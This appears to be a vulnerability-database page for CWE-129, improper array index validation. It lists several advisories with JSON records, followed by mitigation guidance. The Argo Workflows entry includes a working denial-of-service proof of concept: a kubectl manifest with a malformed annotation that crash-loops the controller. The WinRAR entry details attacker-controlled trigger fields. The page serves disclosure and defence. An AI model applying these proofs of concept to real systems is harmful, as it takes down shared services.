CWE-129
AllowedImproper Validation of Array Index
Abstraction: Variant · Status: Draft
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
749 vulnerabilities reference this CWE, most recent first.
GHSA-5HJJ-FVQ6-8J36
Vulnerability from github – Published: 2026-07-01 06:31 – Updated: 2026-07-09 06:31An out-of-bounds heap write exists in the RAR5 recovery-volume (.rev) parser in WinRAR and UnRAR (RecVolumes5::ReadHeader in recvol5.cpp). The RecItems vector is sized only when the first .rev file in a set is processed; subsequent .rev files supply an independent RecNum value that is validated against that file's own TotalCount field but never against the actual size of RecItems. A crafted set of two or more .rev files can therefore write an attacker-controlled 32-bit value (the header's RevCRC field) to RecItems[RecNum] at an attacker-controlled offset up to 65534 * sizeof(RecVolItem) bytes past the allocation, corrupting adjacent heap objects. Triggering requires the victim to run a recovery/test operation on an attacker-supplied .rev set (for example 'unrar t x.part1.rev', WinRAR 'Repair archive', or auto-recovery when extracting a volume set with a missing .rar part). This is the RAR5-path sibling of CVE-2023-40477 (which was fixed in the RAR3 path only in WinRAR 6.23). Fixed in WinRAR / RAR 7.23.
{
"affected": [],
"aliases": [
"CVE-2026-14191"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T04:16:58Z",
"severity": "HIGH"
},
"details": "An out-of-bounds heap write exists in the RAR5 recovery-volume (.rev) parser in WinRAR and UnRAR (RecVolumes5::ReadHeader in recvol5.cpp). The RecItems vector is sized only when the first .rev file in a set is processed; subsequent .rev files supply an independent RecNum value that is validated against that file\u0027s own TotalCount field but never against the actual size of RecItems. A crafted set of two or more .rev files can therefore write an attacker-controlled 32-bit value (the header\u0027s RevCRC field) to RecItems[RecNum] at an attacker-controlled offset up to 65534 * sizeof(RecVolItem) bytes past the allocation, corrupting adjacent heap objects. Triggering requires the victim to run a recovery/test operation on an attacker-supplied .rev set (for example \u0027unrar t x.part1.rev\u0027, WinRAR \u0027Repair archive\u0027, or auto-recovery when extracting a volume set with a missing .rar part). This is the RAR5-path sibling of CVE-2023-40477 (which was fixed in the RAR3 path only in WinRAR 6.23). Fixed in WinRAR / RAR 7.23.",
"id": "GHSA-5hjj-fvq6-8j36",
"modified": "2026-07-09T06:31:59Z",
"published": "2026-07-01T06:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40477"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14191"
},
{
"type": "WEB",
"url": "https://www.rarlab.com/download.htm"
},
{
"type": "WEB",
"url": "https://www.securin.io/zero-days/cve-2026-14191-winrar-unrar-rar5-recovery-volume-rev-out-of-bounds-heap-write-in-recvolumes5-readheader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5JJF-R37W-227G
Vulnerability from github – Published: 2022-05-14 03:25 – Updated: 2022-05-14 03:25In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Mobile MDM9615, MDM9625, MDM9635M, SD 210/SD 212/SD 205, SD 400, SD 617, SD 800, and SD 820, in the time daemon, unauthorized users can potentially modify system time and cause an array index to be out-of-bound.
{
"affected": [],
"aliases": [
"CVE-2014-10044"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-18T14:29:00Z",
"severity": "HIGH"
},
"details": "In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Mobile MDM9615, MDM9625, MDM9635M, SD 210/SD 212/SD 205, SD 400, SD 617, SD 800, and SD 820, in the time daemon, unauthorized users can potentially modify system time and cause an array index to be out-of-bound.",
"id": "GHSA-5jjf-r37w-227g",
"modified": "2022-05-14T03:25:29Z",
"published": "2022-05-14T03:25:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-10044"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-04-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5JV8-H7QH-RF5P
Vulnerability from github – Published: 2026-04-23 21:39 – Updated: 2026-04-23 21:39Summary
An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.
Details
podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
parts := strings.Split(val, "/")
return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
}
return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}
If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.
The code was introduced in #14129 and affects versions:
- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
- 3.7.x: v3.7.0-rc1 through v3.7.12
- 4.x: v4.0.0-rc1 through v4.0.3
- Not affected: v3.6.4 and earlier
PoC
Apply this workflow to a cluster running the Argo Workflows controller:
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
name: crash-podgc
spec:
entrypoint: main
serviceAccountName: default
podGC:
strategy: OnPodCompletion
podMetadata:
annotations:
workflows.argoproj.io/pod-gc-strategy: "NoSlash"
templates:
- name: main
container:
image: alpine:3.18
command: [echo, "hello"]
EOF
Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:
panic: runtime error: index out of range [1] with length 1
goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
Recovery requires deleting the poisoned workflow:
kubectl delete workflow -n argo crash-podgc
Impact
Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.5"
},
{
"last_affected": "3.6.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40886"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:39:21Z",
"nvd_published_at": "2026-04-23T19:17:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unchecked array index in the pod informer\u0027s `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller\u0027s `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.\n\n### Details\n\n`podGCFromPod()` splits the annotation value on \"/\" and unconditionally accesses `parts[1]`:\n\n```go\nfunc podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {\n if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {\n parts := strings.Split(val, \"/\")\n return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}\n }\n return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}\n}\n```\n\nIf the annotation value contains no \"/\", `parts` has length 1 and `parts[1]` panics with index out of range.\n\nThe code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and affects versions:\n\n - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))\n - 3.7.x: v3.7.0-rc1 through v3.7.12\n - 4.x: v4.0.0-rc1 through v4.0.3\n - Not affected: v3.6.4 and earlier\n\n### PoC\n\nApply this workflow to a cluster running the Argo Workflows controller:\n\n```bash\nkubectl apply -n argo -f - \u003c\u003c\u0027EOF\u0027\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n name: crash-podgc\nspec:\n entrypoint: main\n serviceAccountName: default\n podGC:\n strategy: OnPodCompletion\n podMetadata:\n annotations:\n workflows.argoproj.io/pod-gc-strategy: \"NoSlash\"\n templates:\n - name: main\n container:\n image: alpine:3.18\n command: [echo, \"hello\"]\nEOF\n```\n\nWithin seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:\n\n```\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 291 [running]:\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246\n```\n\nRecovery requires deleting the poisoned workflow:\n\n```\nkubectl delete workflow -n argo crash-podgc\n```\n\n### Impact\n\nAny user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.",
"id": "GHSA-5jv8-h7qh-rf5p",
"modified": "2026-04-23T21:39:21Z",
"published": "2026-04-23T21:39:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40886"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller"
}
GHSA-5MH8-XJGP-M345
Vulnerability from github – Published: 2024-08-28 18:31 – Updated: 2024-08-28 18:31Roughly Enough Items (REI) v.16.0.729 and before contains an Improper Validation of Specified Index, Position, or Offset in Input vulnerability. The specific issue is a failure to validate slot index and decrement stack count in the Roughly Enough Items (REI) mod for Minecraft, which allows in-game item duplication.
{
"affected": [],
"aliases": [
"CVE-2024-42698"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-28T16:15:09Z",
"severity": "MODERATE"
},
"details": "Roughly Enough Items (REI) v.16.0.729 and before contains an Improper Validation of Specified Index, Position, or Offset in Input vulnerability. The specific issue is a failure to validate slot index and decrement stack count in the Roughly Enough Items (REI) mod for Minecraft, which allows in-game item duplication.",
"id": "GHSA-5mh8-xjgp-m345",
"modified": "2024-08-28T18:31:54Z",
"published": "2024-08-28T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42698"
},
{
"type": "WEB",
"url": "https://github.com/shedaniel/RoughlyEnoughItems/commit/e80ca84f1affb91d2388ddb298bfc6b141828cad"
},
{
"type": "WEB",
"url": "https://gist.github.com/apple502j/7b1af0082449c9bfbf910e9a25ef3595"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5Q85-V6F3-X49M
Vulnerability from github – Published: 2023-01-09 09:30 – Updated: 2023-01-12 21:30Memory corruption in android core due to improper validation of array index while returning feature ids after license authentication.
{
"affected": [],
"aliases": [
"CVE-2022-33274"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-09T08:15:00Z",
"severity": "HIGH"
},
"details": "Memory corruption in android core due to improper validation of array index while returning feature ids after license authentication.",
"id": "GHSA-5q85-v6f3-x49m",
"modified": "2023-01-12T21:30:25Z",
"published": "2023-01-09T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33274"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/january-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5RVP-Q2J7-H9RJ
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-06-04 00:00In x/text in Go 1.15.4, a "slice bounds out of range" panic occurs in language.ParseAcceptLanguage while processing a BCP 47 tag. (x/text/language is supposed to be able to parse an HTTP Accept-Language header.)
{
"affected": [],
"aliases": [
"CVE-2020-28852"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-02T06:15:00Z",
"severity": "HIGH"
},
"details": "In x/text in Go 1.15.4, a \"slice bounds out of range\" panic occurs in language.ParseAcceptLanguage while processing a BCP 47 tag. (x/text/language is supposed to be able to parse an HTTP Accept-Language header.)",
"id": "GHSA-5rvp-q2j7-h9rj",
"modified": "2022-06-04T00:00:41Z",
"published": "2022-05-24T17:37:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28852"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/42536"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210212-0004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5VQV-GM3M-2HH7
Vulnerability from github – Published: 2022-05-14 03:24 – Updated: 2022-05-14 03:24In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Mobile and Snapdragon Wear MDM9206, MDM9607, MDM9615, MDM9625, MDM9635M, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 600, SD 615/16/SD 415, SD 625, SD 650/52, SD 808, SD 810, and SD 450, if an incorrect endpoint number or direction is passed, an out of bounds array access may occur in the USB management module.
{
"affected": [],
"aliases": [
"CVE-2014-9989"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-18T14:29:00Z",
"severity": "CRITICAL"
},
"details": "In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Mobile and Snapdragon Wear MDM9206, MDM9607, MDM9615, MDM9625, MDM9635M, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 600, SD 615/16/SD 415, SD 625, SD 650/52, SD 808, SD 810, and SD 450, if an incorrect endpoint number or direction is passed, an out of bounds array access may occur in the USB management module.",
"id": "GHSA-5vqv-gm3m-2hh7",
"modified": "2022-05-14T03:24:13Z",
"published": "2022-05-14T03:24:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9989"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-04-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5W6X-RF3H-52M2
Vulnerability from github – Published: 2022-05-14 03:19 – Updated: 2022-05-14 03:19An issue was discovered in Foxit Reader before 9.1 and PhantomPDF before 9.1. This vulnerability allows remote attackers to execute arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the u3d images inside of a pdf. The issue results from the lack of proper validation of user-supplied data, which can result in an array indexing issue. An attacker can leverage this to execute code in the context of the current process.
{
"affected": [],
"aliases": [
"CVE-2018-7406"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-24T21:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Foxit Reader before 9.1 and PhantomPDF before 9.1. This vulnerability allows remote attackers to execute arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the u3d images inside of a pdf. The issue results from the lack of proper validation of user-supplied data, which can result in an array indexing issue. An attacker can leverage this to execute code in the context of the current process.",
"id": "GHSA-5w6x-rf3h-52m2",
"modified": "2022-05-14T03:19:54Z",
"published": "2022-05-14T03:19:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7406"
},
{
"type": "WEB",
"url": "https://srcincite.io/advisories/src-2018-0017"
},
{
"type": "WEB",
"url": "https://www.foxitsoftware.com/support/security-bulletins.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104300"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5X66-W85V-593V
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2024-04-09 21:31Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over lt->num_time_ticks.
{
"affected": [],
"aliases": [
"CVE-2023-39235"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T15:15:22Z",
"severity": "HIGH"
},
"details": "Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over `lt-\u003enum_time_ticks`.",
"id": "GHSA-5x66-w85v-593v",
"modified": "2024-04-09T21:31:55Z",
"published": "2024-01-08T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39235"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1817"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1817"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XJP-7W7G-522J
Vulnerability from github – Published: 2024-01-08 15:30 – Updated: 2024-04-09 21:31Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over lt->numrealfacs.
{
"affected": [],
"aliases": [
"CVE-2023-39234"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T15:15:22Z",
"severity": "HIGH"
},
"details": "Multiple out-of-bounds write vulnerabilities exist in the VZT vzt_rd_process_block autosort functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when looping over `lt-\u003enumrealfacs`.",
"id": "GHSA-5xjp-7w7g-522j",
"modified": "2024-04-09T21:31:55Z",
"published": "2024-01-08T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39234"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1817"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1817"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-7
Strategy: Input Validation
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Mitigation MIT-15
- For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Mitigation MIT-35
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-100: Overflow Buffers
Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.